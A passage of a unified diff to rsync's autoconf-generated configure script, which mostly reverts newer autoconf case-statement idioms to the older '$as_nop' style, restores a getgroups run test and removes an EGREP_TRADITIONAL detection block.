\"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_uid_t\" >&5\n+printf \"%s\\n\" \"$ac_cv_type_uid_t\" >&6; }\n+if test $ac_cv_type_uid_t = no; then\n+\n+printf \"%s\\n\" \"#define uid_t int\" >>confdefs.h\n \n-ac_fn_c_check_type \"$LINENO\" \"gid_t\" \"ac_cv_type_gid_t\" \"$ac_includes_default\"\n-if test \"x$ac_cv_type_gid_t\" = xyes\n-then :\n \n-else case e in #(\n-  e)\n printf \"%s\\n\" \"#define gid_t int\" >>confdefs.h\n- ;;\n-esac\n+\n fi\n \n ac_fn_c_check_type \"$LINENO\" \"mode_t\" \"ac_cv_type_mode_t\" \"$ac_includes_default\"\n@@ -9453,118 +8939,67 @@ printf %s \"checking type of array argument to getgroups... \" >&6; }\n if test ${ac_cv_type_getgroups+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) # If AC_TYPE_UID_T says there isn't any gid_t typedef, then we can skip\n-# everything below.\n-if test $ac_cv_type_gid_t = no\n+else $as_nop\n+  if test \"$cross_compiling\" = yes\n then :\n-  ac_cv_type_getgroups=int\n-else case e in #(\n-  e) # Test programs below rely on strict type checking of extern declarations:\n-  # 'extern int getgroups(int, int *); extern int getgroups(int, pid_t *);'\n-  # is valid in C89 if and only if pid_t is a typedef for int.  Unlike\n-  # anything involving either an assignment or a function call, compilers\n-  # tend to make this kind of type mismatch a hard error, not just an\n-  # \"incompatible pointer types\" warning.\n+  ac_cv_type_getgroups=cross\n+else $as_nop\n   cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n+/* Thanks to Mike Rendell for this test.  */\n $ac_includes_default\n-extern int getgroups(int, gid_t *);\n+#define NGID 256\n+#undef MAX\n+#define MAX(x, y) ((x) > (y) ? (x) : (y))\n+\n int\n main (void)\n {\n-return !(getgroups(0, 0) >= 0);\n-  ;\n-  return 0;\n+  gid_t gidset[NGID];\n+  int i, n;\n+  union { gid_t gval; long int lval; }  val;\n+\n+  val.lval = -1;\n+  for (i = 0; i < NGID; i++)\n+    gidset[i] = val.gval;\n+  n = getgroups (sizeof (gidset) / MAX (sizeof (int), sizeof (gid_t)) - 1,\n+\t\t gidset);\n+  /* Exit non-zero if getgroups seems to require an array of ints.  This\n+     happens when gid_t is short int but getgroups modifies an array\n+     of ints.  */\n+  return n > 0 && gidset[n] != val.gval;\n }\n _ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n+if ac_fn_c_try_run \"$LINENO\"\n then :\n-  ac_getgroups_gidarray=yes\n-else case e in #(\n-  e) ac_getgroups_gidarray=no ;;\n-esac\n+  ac_cv_type_getgroups=gid_t\n+else $as_nop\n+  ac_cv_type_getgroups=int\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-$ac_includes_default\n-extern int getgroups(int, int *);\n-int\n-main (void)\n-{\n-return !(getgroups(0, 0) >= 0);\n-  ;\n-  return 0;\n-}\n-_ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n-then :\n-  ac_getgroups_intarray=yes\n-else case e in #(\n-  e) ac_getgroups_intarray=no ;;\n-esac\n+rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n \n-  case int:$ac_getgroups_intarray,gid:$ac_getgroups_gidarray in #(\n-  int:yes,gid:no) :\n-    ac_cv_type_getgroups=int ;; #(\n-  int:no,gid:yes) :\n-    ac_cv_type_getgroups=gid_t ;; #(\n-  int:yes,gid:yes) :\n-\n-      # Both programs compiled - this means *either* that getgroups\n-      # was declared with no prototype, in which case we should use int,\n-      # or that it was declared prototyped but gid_t is a typedef for int,\n-      # in which case we should use gid_t.  Distinguish the two cases\n-      # by testing if the compiler catches a blatantly incorrect function\n-      # signature for getgroups.\n-      cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+if test $ac_cv_type_getgroups = cross; then\n+        cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n-$ac_includes_default\n-extern int getgroups(int, float);\n-int\n-main (void)\n-{\n-return !(getgroups(0, 0) >= 0);\n-  ;\n-  return 0;\n-}\n+#include <unistd.h>\n+\n _ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n+if (eval \"$ac_cpp conftest.$ac_ext\") 2>&5 |\n+  $EGREP \"getgroups.*int.*gid_t\" >/dev/null 2>&1\n then :\n-\n-        # Compiler did not catch incorrect argument list;\n-        # getgroups is unprototyped.\n-        ac_cv_type_getgroups=int\n-\n-else case e in #(\n-  e)\n-        # Compiler caught incorrect argument list;\n-        # gid_t is a typedef for int.\n-        ac_cv_type_getgroups=gid_t\n-       ;;\n-esac\n+  ac_cv_type_getgroups=gid_t\n+else $as_nop\n+  ac_cv_type_getgroups=int\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-     ;; #(\n-  *) :\n+rm -rf conftest*\n \n-      # Both programs failed to compile - this probably means getgroups\n-      # wasn't declared at all.  Use 'int', as this is probably a very\n-      # old system where the type _would have been_ int.\n-      ac_cv_type_getgroups=int\n-     ;;\n-esac\n-   ;;\n-esac\n fi\n- ;;\n-esac\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_getgroups\" >&5\n printf \"%s\\n\" \"$ac_cv_type_getgroups\" >&6; }\n+\n printf \"%s\\n\" \"#define GETGROUPS_T $ac_cv_type_getgroups\" >>confdefs.h\n \n \n@@ -9654,15 +9089,15 @@ fi\n if test \"x$ac_cv_type_socklen_t\" = xyes\n then :\n \n-else case e in #(\n-  e)\n+else $as_nop\n+\n       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for socklen_t equivalent\" >&5\n printf %s \"checking for socklen_t equivalent... \" >&6; }\n       if test ${rsync_cv_socklen_t_equiv+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n          # Systems have either \"struct sockaddr *\" or\n          # \"void *\" as the second argument to getpeername\n          rsync_cv_socklen_t_equiv=\n@@ -9701,16 +9136,14 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n          if test \"x$rsync_cv_socklen_t_equiv\" = x; then\n             as_fn_error $? \"Cannot find a type to use in place of socklen_t\" \"$LINENO\" 5\n          fi\n-       ;;\n-esac\n+\n fi\n \n       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_socklen_t_equiv\" >&5\n printf \"%s\\n\" \"$rsync_cv_socklen_t_equiv\" >&6; }\n \n printf \"%s\\n\" \"#define socklen_t $rsync_cv_socklen_t_equiv\" >>confdefs.h\n- ;;\n-esac\n+\n fi\n \n \n@@ -9720,8 +9153,8 @@ printf %s \"checking for errno in errno.h... \" >&6; }\n if test ${rsync_cv_errno+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n     cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <errno.h>\n@@ -9736,12 +9169,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   rsync_cv_errno=yes\n-else case e in #(\n-  e) rsync_cv_have_errno_decl=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_have_errno_decl=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_errno\" >&5\n printf \"%s\\n\" \"$rsync_cv_errno\" >&6; }\n@@ -9774,22 +9205,16 @@ printf %s \"checking for printf in -lnsl_s... \" >&6; }\n if test ${ac_cv_lib_nsl_s_printf+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lnsl_s  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char printf (void);\n+   builtin and then its argument prototype would still apply.  */\n+char printf ();\n int\n main (void)\n {\n@@ -9801,14 +9226,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_nsl_s_printf=yes\n-else case e in #(\n-  e) ac_cv_lib_nsl_s_printf=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_nsl_s_printf=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_s_printf\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_nsl_s_printf\" >&6; }\n@@ -9828,22 +9251,16 @@ printf %s \"checking for printf in -lnsl... \" >&6; }\n if test ${ac_cv_lib_nsl_printf+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lnsl  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char printf (void);\n+   builtin and then its argument prototype would still apply.  */\n+char printf ();\n int\n main (void)\n {\n@@ -9855,14 +9272,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_nsl_printf=yes\n-else case e in #(\n-  e) ac_cv_lib_nsl_printf=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_nsl_printf=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_printf\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_nsl_printf\" >&6; }\n@@ -9882,22 +9297,16 @@ printf %s \"checking for connect in -lsocket... \" >&6; }\n if test ${ac_cv_lib_socket_connect+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lsocket  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char connect (void);\n+   builtin and then its argument prototype would still apply.  */\n+char connect ();\n int\n main (void)\n {\n@@ -9909,14 +9318,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_socket_connect=yes\n-else case e in #(\n-  e) ac_cv_lib_socket_connect=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_socket_connect=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_connect\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_socket_connect\" >&6; }\n@@ -9936,22 +9343,16 @@ printf %s \"checking for connect in -linet... \" >&6; }\n if test ${ac_cv_lib_inet_connect+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-linet  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char connect (void);\n+   builtin and then its argument prototype would still apply.  */\n+char connect ();\n int\n main (void)\n {\n@@ -9963,14 +9364,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_inet_connect=yes\n-else case e in #(\n-  e) ac_cv_lib_inet_connect=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_inet_connect=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_inet_connect\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_inet_connect\" >&6; }\n@@ -9998,21 +9397,15 @@ printf %s \"checking for library containing inet_ntop... \" >&6; }\n if test ${ac_cv_search_inet_ntop+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char inet_ntop (void);\n+   builtin and then its argument prototype would still apply.  */\n+char inet_ntop ();\n int\n main (void)\n {\n@@ -10043,13 +9436,11 @@ done\n if test ${ac_cv_search_inet_ntop+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_inet_ntop=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_inet_ntop=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_inet_ntop\" >&5\n printf \"%s\\n\" \"$ac_cv_search_inet_ntop\" >&6; }\n@@ -10069,21 +9460,15 @@ printf %s \"checking for library containing iconv_open... \" >&6; }\n if test ${ac_cv_search_iconv_open+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char iconv_open (void);\n+   builtin and then its argument prototype would still apply.  */\n+char iconv_open ();\n int\n main (void)\n {\n@@ -10114,13 +9499,11 @@ done\n if test ${ac_cv_search_iconv_open+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_iconv_open=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_iconv_open=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_iconv_open\" >&5\n printf \"%s\\n\" \"$ac_cv_search_iconv_open\" >&6; }\n@@ -10136,21 +9519,15 @@ printf %s \"checking for library containing libiconv_open... \" >&6; }\n if test ${ac_cv_search_libiconv_open+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char libiconv_open (void);\n+   builtin and then its argument prototype would still apply.  */\n+char libiconv_open ();\n int\n main (void)\n {\n@@ -10181,13 +9558,11 @@ done\n if test ${ac_cv_search_libiconv_open+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_libiconv_open=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_libiconv_open=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_libiconv_open\" >&5\n printf \"%s\\n\" \"$ac_cv_search_libiconv_open\" >&6; }\n@@ -10204,8 +9579,8 @@ printf %s \"checking for iconv declaration... \" >&6; }\n if test ${am_cv_proto_iconv+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n     cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -10234,13 +9609,11 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   am_cv_proto_iconv_arg1=\"\"\n-else case e in #(\n-  e) am_cv_proto_iconv_arg1=\"const\" ;;\n-esac\n+else $as_nop\n+  am_cv_proto_iconv_arg1=\"const\"\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-      am_cv_proto_iconv=\"extern size_t iconv (iconv_t cd, $am_cv_proto_iconv_arg1 char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);\" ;;\n-esac\n+      am_cv_proto_iconv=\"extern size_t iconv (iconv_t cd, $am_cv_proto_iconv_arg1 char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);\"\n fi\n \n     am_cv_proto_iconv=`echo \"$am_cv_proto_iconv\" | tr -s ' ' | sed 's/( /(/'`\n@@ -10258,28 +9631,26 @@ if test \"x$ac_cv_func_inet_ntop\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_INET_NTOP 1\" >>confdefs.h\n \n-else case e in #(\n-  e) case \" $LIBOBJS \" in\n+else $as_nop\n+  case \" $LIBOBJS \" in\n   *\" inet_ntop.$ac_objext \"* ) ;;\n   *) LIBOBJS=\"$LIBOBJS inet_ntop.$ac_objext\"\n  ;;\n esac\n- ;;\n-esac\n+\n fi\n ac_fn_c_check_func \"$LINENO\" \"inet_pton\" \"ac_cv_func_inet_pton\"\n if test \"x$ac_cv_func_inet_pton\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_INET_PTON 1\" >>confdefs.h\n \n-else case e in #(\n-  e) case \" $LIBOBJS \" in\n+else $as_nop\n+  case \" $LIBOBJS \" in\n   *\" inet_pton.$ac_objext \"* ) ;;\n   *) LIBOBJS=\"$LIBOBJS inet_pton.$ac_objext\"\n  ;;\n esac\n- ;;\n-esac\n+\n fi\n \n \n@@ -10290,8 +9661,8 @@ printf %s \"checking for struct addrinfo... \" >&6; }\n if eval test \\${ac_cv_type_$cv+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n $ac_includes_default\n@@ -10307,12 +9678,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"ac_cv_type_$cv=yes\"\n-else case e in #(\n-  e) eval \"ac_cv_type_$cv=no\" ;;\n-esac\n+else $as_nop\n+  eval \"ac_cv_type_$cv=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n ac_foo=`eval echo \\\\$ac_cv_type_$cv`\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_foo\" >&5\n@@ -10342,8 +9711,8 @@ printf %s \"checking for struct sockaddr_storage... \" >&6; }\n if eval test \\${ac_cv_type_$cv+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n $ac_includes_default\n@@ -10365,12 +9734,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"ac_cv_type_$cv=yes\"\n-else case e in #(\n-  e) eval \"ac_cv_type_$cv=no\" ;;\n-esac\n+else $as_nop\n+  eval \"ac_cv_type_$cv=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n ac_foo=`eval echo \\\\$ac_cv_type_$cv`\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_foo\" >&5\n@@ -10396,148 +9763,13 @@ fi\n \n # Irix 6.5 has getaddrinfo but not the corresponding defines, so use\n #   builtin getaddrinfo if one of the defines don't exist\n-\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for egrep -e\" >&5\n-printf %s \"checking for egrep -e... \" >&6; }\n-if test ${ac_cv_path_EGREP_TRADITIONAL+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -z \"$EGREP_TRADITIONAL\"; then\n-  ac_path_EGREP_TRADITIONAL_found=false\n-  # Loop through the user's path and test for each of PROGNAME-LIST\n-  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n-for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin\n-do\n-  IFS=$as_save_IFS\n-  case $as_dir in #(((\n-    '') as_dir=./ ;;\n-    */) ;;\n-    *) as_dir=$as_dir/ ;;\n-  esac\n-    for ac_prog in grep ggrep\n-   do\n-    for ac_exec_ext in '' $ac_executable_extensions; do\n-      ac_path_EGREP_TRADITIONAL=\"$as_dir$ac_prog$ac_exec_ext\"\n-      as_fn_executable_p \"$ac_path_EGREP_TRADITIONAL\" || continue\n-# Check for GNU ac_path_EGREP_TRADITIONAL and select it if it is found.\n-  # Check for GNU $ac_path_EGREP_TRADITIONAL\n-case `\"$ac_path_EGREP_TRADITIONAL\" --version 2>&1` in #(\n-*GNU*)\n-  ac_cv_path_EGREP_TRADITIONAL=\"$ac_path_EGREP_TRADITIONAL\" ac_path_EGREP_TRADITIONAL_found=:;;\n-#(\n-*)\n-  ac_count=0\n-  printf %s 0123456789 >\"conftest.in\"\n-  while :\n-  do\n-    cat \"conftest.in\" \"conftest.in\" >\"conftest.tmp\"\n-    mv \"conftest.tmp\" \"conftest.in\"\n-    cp \"conftest.in\" \"conftest.nl\"\n-    printf \"%s\\n\" 'EGREP_TRADITIONAL' >> \"conftest.nl\"\n-    \"$ac_path_EGREP_TRADITIONAL\" -E 'EGR(EP|AC)_TRADITIONAL$' < \"conftest.nl\" >\"conftest.out\" 2>/dev/null || break\n-    diff \"conftest.out\" \"conftest.nl\" >/dev/null 2>&1 || break\n-    as_fn_arith $ac_count + 1 && ac_count=$as_val\n-    if test $ac_count -gt ${ac_path_EGREP_TRADITIONAL_max-0}; then\n-      # Best one so far, save it but keep looking for a better one\n-      ac_cv_path_EGREP_TRADITIONAL=\"$ac_path_EGREP_TRADITIONAL\"\n-      ac_path_EGREP_TRADITIONAL_max=$ac_count\n-    fi\n-    # 10*(2^10) chars as input seems more than enough\n-    test $ac_count -gt 10 && break\n-  done\n-  rm -f conftest.in conftest.tmp conftest.nl conftest.out;;\n-esac\n-\n-      $ac_path_EGREP_TRADITIONAL_found && break 3\n-    done\n-  done\n-  done\n-IFS=$as_save_IFS\n-  if test -z \"$ac_cv_path_EGREP_TRADITIONAL\"; then\n-    :\n-  fi\n-else\n-  ac_cv_path_EGREP_TRADITIONAL=$EGREP_TRADITIONAL\n-fi\n-\n-    if test \"$ac_cv_path_EGREP_TRADITIONAL\"\n-then :\n-  ac_cv_path_EGREP_TRADITIONAL=\"$ac_cv_path_EGREP_TRADITIONAL -E\"\n-else case e in #(\n-  e) if test -z \"$EGREP_TRADITIONAL\"; then\n-  ac_path_EGREP_TRADITIONAL_found=false\n-  # Loop through the user's path and test for each of PROGNAME-LIST\n-  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n-for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin\n-do\n-  IFS=$as_save_IFS\n-  case $as_dir in #(((\n-    '') as_dir=./ ;;\n-    */) ;;\n-    *) as_dir=$as_dir/ ;;\n-  esac\n-    for ac_prog in egrep\n-   do\n-    for ac_exec_ext in '' $ac_executable_extensions; do\n-      ac_path_EGREP_TRADITIONAL=\"$as_dir$ac_prog$ac_exec_ext\"\n-      as_fn_executable_p \"$ac_path_EGREP_TRADITIONAL\" || continue\n-# Check for GNU ac_path_EGREP_TRADITIONAL and select it if it is found.\n-  # Check for GNU $ac_path_EGREP_TRADITIONAL\n-case `\"$ac_path_EGREP_TRADITIONAL\" --version 2>&1` in #(\n-*GNU*)\n-  ac_cv_path_EGREP_TRADITIONAL=\"$ac_path_EGREP_TRADITIONAL\" ac_path_EGREP_TRADITIONAL_found=:;;\n-#(\n-*)\n-  ac_count=0\n-  printf %s 0123456789 >\"conftest.in\"\n-  while :\n-  do\n-    cat \"conftest.in\" \"conftest.in\" >\"conftest.tmp\"\n-    mv \"conftest.tmp\" \"conftest.in\"\n-    cp \"conftest.in\" \"conftest.nl\"\n-    printf \"%s\\n\" 'EGREP_TRADITIONAL' >> \"conftest.nl\"\n-    \"$ac_path_EGREP_TRADITIONAL\" 'EGR(EP|AC)_TRADITIONAL$' < \"conftest.nl\" >\"conftest.out\" 2>/dev/null || break\n-    diff \"conftest.out\" \"conftest.nl\" >/dev/null 2>&1 || break\n-    as_fn_arith $ac_count + 1 && ac_count=$as_val\n-    if test $ac_count -gt ${ac_path_EGREP_TRADITIONAL_max-0}; then\n-      # Best one so far, save it but keep looking for a better one\n-      ac_cv_path_EGREP_TRADITIONAL=\"$ac_path_EGREP_TRADITIONAL\"\n-      ac_path_EGREP_TRADITIONAL_max=$ac_count\n-    fi\n-    # 10*(2^10) chars as input seems more than enough\n-    test $ac_count -gt 10 && break\n-  done\n-  rm -f conftest.in conftest.tmp conftest.nl conftest.out;;\n-esac\n-\n-      $ac_path_EGREP_TRADITIONAL_found && break 3\n-    done\n-  done\n-  done\n-IFS=$as_save_IFS\n-  if test -z \"$ac_cv_path_EGREP_TRADITIONAL\"; then\n-    as_fn_error $? \"no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin\" \"$LINENO\" 5\n-  fi\n-else\n-  ac_cv_path_EGREP_TRADITIONAL=$EGREP_TRADITIONAL\n-fi\n- ;;\n-esac\n-fi ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP_TRADITIONAL\" >&5\n-printf \"%s\\n\" \"$ac_cv_path_EGREP_TRADITIONAL\" >&6; }\n- EGREP_TRADITIONAL=$ac_cv_path_EGREP_TRADITIONAL\n-\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking whether defines needed by getaddrinfo exist\" >&5\n printf %s \"checking whether defines needed by getaddrinfo exist... \" >&6; }\n if test ${rsync_cv_HAVE_GETADDR_DEFINES+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n \t\t\tcat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -10555,16 +9787,14 @@ yes\n #endif\n _ACEOF\n if (eval \"$ac_cpp conftest.$ac_ext\") 2>&5 |\n-  $EGREP_TRADITIONAL \"yes\" >/dev/null 2>&1\n+  $EGREP \"yes\" >/dev/null 2>&1\n then :\n   rsync_cv_HAVE_GETADDR_DEFINES=yes\n-else case e in 